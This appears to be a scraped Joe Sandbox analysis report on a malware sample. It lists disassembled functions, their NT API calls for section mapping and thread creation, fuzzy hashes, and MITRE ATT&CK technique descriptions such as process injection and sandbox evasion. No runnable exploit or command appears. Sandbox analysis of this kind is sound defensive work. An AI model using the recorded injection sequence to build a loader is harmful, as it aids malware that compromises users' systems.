NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000006.00000002.2484567977.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_ifvwgru.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: c037a065b71caf94a0fa6c09a6d83b4137dfe21335f97c9ee716951ac1d37583
Instruction ID: 412e9309e7daddaa9b19f32dddfbffbd79934f2f1d3bc440b9a7152e2b53a84f
Opcode Fuzzy Hash: c037a065b71caf94a0fa6c09a6d83b4137dfe21335f97c9ee716951ac1d37583
Instruction Fuzzy Hash: 235119B1900205BFEB209F91CC49FAF7BB8EF85B00F14412AF912BA2E5D7759941CB25

Function 0040156F Relevance: 10.7, APIs: 7, Instructions: 172
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000006.00000002.2484567977.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_ifvwgru.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: b43ab6a5ae3b26584acf886c72f61fec6545de2c9739d40d58a61617a66ea401
Instruction ID: 5723072b253cbae10e330d7def6e8ce5ab34414c0c11206194204dab9df800f9
Opcode Fuzzy Hash: b43ab6a5ae3b26584acf886c72f61fec6545de2c9739d40d58a61617a66ea401
Instruction Fuzzy Hash: 6A5109B1900205BBEB209F91CC49FAF7BB8EF85B00F144129FA11BA2E5D6759945CB24

Function 00401583 Relevance: 10.7, APIs: 7, Instructions: 171
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000006.00000002.2484567977.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_ifvwgru.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 1e91f4c09bcacef1392eeaa703420aa8b20b57299c6afd06cd755880f7f169b4
Instruction ID: be4f3395432beacb56dc40f225edc855b7308e08cbc6b66c5e1fe0de6445bc19
Opcode Fuzzy Hash: 1e91f4c09bcacef1392eeaa703420aa8b20b57299c6afd06cd755880f7f169b4
Instruction Fuzzy Hash: D6510BB1900205BBEB209F91CC49FAF7BB8EF85B00F14412AFA11BA2E5D7759945CB64

Function 00401587 Relevance: 10.7, APIs: 7, Instructions: 166
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000006.00000002.2484567977.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_ifvwgru.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 17ba237f8dee9763ec0b09a09ce7a307427fbde3e710961389b3aebbe6aa507a
Instruction ID: c9324331886a871ff7b65cfc1a3adde32c11ca3f72b54674233341407885f4d3
Opcode Fuzzy Hash: 17ba237f8dee9763ec0b09a09ce7a307427fbde3e710961389b3aebbe6aa507a
Instruction Fuzzy Hash: 7E511A71900249BBEB209F91CC48FEF7BB8EF85B00F144169F911AA2E5D7759945CB24

Function 00401729 Relevance: 4.7, APIs: 3, Instructions: 179
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000006.00000002.2484567977.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_ifvwgru.jbxd

Similarity

API ID: Section$View$Create
String ID:
API String ID: 33071139-0
Opcode ID: d7ffac209591ce09f7b22c4e86819d2404e8050f733b4d1493b8ea105d7330e7
Instruction ID: bb29a515743844fa426f6922f48e3936f90c9c278b9ffb8c9c9d974ad6050a99
Opcode Fuzzy Hash: d7ffac209591ce09f7b22c4e86819d2404e8050f733b4d1493b8ea105d7330e7
Instruction Fuzzy Hash: 69519272904104EBEB249A55CC44FAA77B5FF85700F24813BE842772F0D67C6942E65B

Function 00403005 Relevance: 3.2, APIs: 2, Instructions: 168
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlCreateUserThread.NTDLL ref: 00403139
NtTerminateProcess.NTDLL ref: 00403152

Memory Dump Source

Source File: 00000006.00000002.2484567977.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_ifvwgru.jbxd

Similarity

API ID: CreateProcessTerminateThreadUser
String ID:
API String ID: 1921587553-0
Opcode ID: 8dd8c1b6c2a2e81b31e5df05537a0a765b57e58f23bcff5050bac5d1a8738f05
Instruction ID: 9349ae55c142a47270c9c73eabb89239111d3cd47c98212c67b606f4e0ccd907
Opcode Fuzzy Hash: 8dd8c1b6c2a2e81b31e5df05537a0a765b57e58f23bcff5050bac5d1a8738f05
Instruction Fuzzy Hash: C5412531218E088FD7A8EF6CA88576377D5F798311F6643AAE809D3389EA34DC5187C5

Function 02C4003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 02C4024D

Strings

cess, xrefs: 02C4018D
kernel32.dll, xrefs: 02C4008F, 02C40095

Memory Dump Source

Source File: 00000006.00000002.2485885145.0000000002C40000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c40000_ifvwgru.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: 9c6c39d744e66da998234f7eafb144f198e58fe89f23fef007059eb5dcb8abaf
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 7D527974A01229DFDB64CF68C984BADBBB1BF09304F1480D9E94DAB351DB30AA85DF15

Function 02ECA271 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 02ECA299
Module32First.KERNEL32(00000000,00000224), ref: 02ECA2B9

Memory Dump Source

Source File: 00000006.00000002.2486160796.0000000002EC3000.00000040.00000020.00020000.00000000.sdmp, Offset: 02EC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2ec3000_ifvwgru.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: ee703cd97d3473eed68c6dedf43a5d464c8be83eac8e7b8a023c0704afb73b18
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: A0F0C2322407246BD7202FF9A98CB7A72ECAF49628F30553DF64A911C0DB71E8064B61

Function 02C40E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,02C40223,?,?), ref: 02C40E19
SetErrorMode.KERNELBASE(00000000,?,?,02C40223,?,?), ref: 02C40E1E

Memory Dump Source

Source File: 00000006.00000002.2485885145.0000000002C40000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c40000_ifvwgru.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 994b33df5fd358b2e7e35cf1cce9ee3a15b093092ac9ac22606117ff364d12c4
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 9AD0123114512877D7002A94DC09BCE7B1CDF05B66F008011FB0DD9080CB70964046E5

Function 0040193E Relevance: 1.3, APIs: 1, Instructions: 63
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388,0000006E), ref: 00401999

Part of subcall function 00401553: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
Part of subcall function 00401553: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644

Memory Dump Source

Source File: 00000006.00000002.2484567977.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_ifvwgru.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 63c6d220c0b2465f65230560b632e8fee6ee77bde0997471010d6e0ffaa45abb
Instruction ID: 4db8ba0b08380255fc5aa34ea3e13561f838480f888933e927f1079a64c57490
Opcode Fuzzy Hash: 63c6d220c0b2465f65230560b632e8fee6ee77bde0997471010d6e0ffaa45abb
Instruction Fuzzy Hash: 9A11CEF120C208FBEB006A959D62E7A3268AB40714F304137BA43790F1D57E8923F76B

Function 0040194A Relevance: 1.3, APIs: 1, Instructions: 57
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388,0000006E), ref: 00401999

Part of subcall function 00401553: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
Part of subcall function 00401553: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644

Memory Dump Source

Source File: 00000006.00000002.2484567977.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_ifvwgru.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 5da34bb6d812b8abf119b9d3fe0d5b8ad3457d6c21a2f33bdd5f198c88081420
Instruction ID: 0371ecd990254dd767a604aa567081474727263e4e3774a05daf7e54a603023c
Opcode Fuzzy Hash: 5da34bb6d812b8abf119b9d3fe0d5b8ad3457d6c21a2f33bdd5f198c88081420
Instruction Fuzzy Hash: A901A1B120C204EBDB009A95DD62E7A3364AB40314F30453BBA437A1F1C67D9913E72B

Function 0040195C Relevance: 1.3, APIs: 1, Instructions: 52
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388,0000006E), ref: 00401999

Part of subcall function 00401553: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
Part of subcall function 00401553: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644

Memory Dump Source

Source File: 00000006.00000002.2484567977.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_ifvwgru.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 92877e8f189ce066243e493096c58f6ac8e61300460a3c45de21f975e55ffa31
Instruction ID: 3b2e7dc224df146109f963d95c0ead7a9e1b698bafe8296883a7ac19869aede1
Opcode Fuzzy Hash: 92877e8f189ce066243e493096c58f6ac8e61300460a3c45de21f975e55ffa31
Instruction Fuzzy Hash: BA0171B5208204EADB006AD5DD71E7A3269AB44314F304537BA43791F1D57D8912F72B

Function 00401973 Relevance: 1.3, APIs: 1, Instructions: 51
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388,0000006E), ref: 00401999

Part of subcall function 00401553: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
Part of subcall function 00401553: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644

Memory Dump Source

Source File: 00000006.00000002.2484567977.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_ifvwgru.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 31aa609417ab5ed31c65507b96fd6a0431d30d29d70e2a4d28e260c8609d16a0
Instruction ID: 4b03b50232763afd30ab0c608f125a1a80ed78bb00471cf4ed55e3bed959d7b6
Opcode Fuzzy Hash: 31aa609417ab5ed31c65507b96fd6a0431d30d29d70e2a4d28e260c8609d16a0
Instruction Fuzzy Hash: F80184B5208204EBDB006AD5DD71EBA3269AB44354F304537BA43790F1C57D8912F72B

Function 00401964 Relevance: 1.3, APIs: 1, Instructions: 50sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388,0000006E), ref: 00401999

Part of subcall function 00401553: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
Part of subcall function 00401553: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644

Memory Dump Source

Source File: 00000006.00000002.2484567977.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_ifvwgru.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 80a6c5373d62ebb69e6dd2ebfc7b7f41d0d957fd777d29198617fe32584c3506
Instruction ID: f592bab324d3cd5d6286c78059ef0a1e8702b22de7bd53a4ec4d5e19e7ef6e8c
Opcode Fuzzy Hash: 80a6c5373d62ebb69e6dd2ebfc7b7f41d0d957fd777d29198617fe32584c3506
Instruction Fuzzy Hash: 0D0184B5208204EBDB006AC5DD62EBA3265AB44314F204537FA43791F1C57D8912F72B

Function 02EC9F30 Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 02EC9F81

Memory Dump Source

Source File: 00000006.00000002.2486160796.0000000002EC3000.00000040.00000020.00020000.00000000.sdmp, Offset: 02EC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2ec3000_ifvwgru.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: df9fecf0ee99189606f59bc8d75ae11066e988aafdeb09114558cc656b72c058
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: D3112B79A40208EFDB01DF98CA85E98BBF5AF08351F1580A4F9489B362D371EA50DF90

Function 00401987 Relevance: 1.3, APIs: 1, Instructions: 46sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388,0000006E), ref: 00401999

Part of subcall function 00401553: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
Part of subcall function 00401553: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644

Memory Dump Source

Source File: 00000006.00000002.2484567977.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_ifvwgru.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: bcca46d5ef7268ad31bc33a501668355c47d000038c282039baec12a21f0baa8
Instruction ID: 68c2b1bb8267a16b47d2b790190fa602822f098e0b694be4ddc2e306b3be1968
Opcode Fuzzy Hash: bcca46d5ef7268ad31bc33a501668355c47d000038c282039baec12a21f0baa8
Instruction Fuzzy Hash: 2AF086B5208204FADB006BD59D61EBA3768AB44354F204137BA13790F1C57D8912F72B

Function 0040197A Relevance: 1.3, APIs: 1, Instructions: 45sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388,0000006E), ref: 00401999

Part of subcall function 00401553: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
Part of subcall function 00401553: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644

Memory Dump Source

Source File: 00000006.00000002.2484567977.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_ifvwgru.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: e9f86eb3684af82b782eaa40f954778cddddd88fa9debd0879e22657c53ef6f6
Instruction ID: 49220a4dcaca44086484813bdb512237367292e15b320859d1a96440f4f24ef4
Opcode Fuzzy Hash: e9f86eb3684af82b782eaa40f954778cddddd88fa9debd0879e22657c53ef6f6
Instruction Fuzzy Hash: 7801A7B1208244FBDB016BD19D62EB93768AB05354F204537FA53790F2C67D8912E72B

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
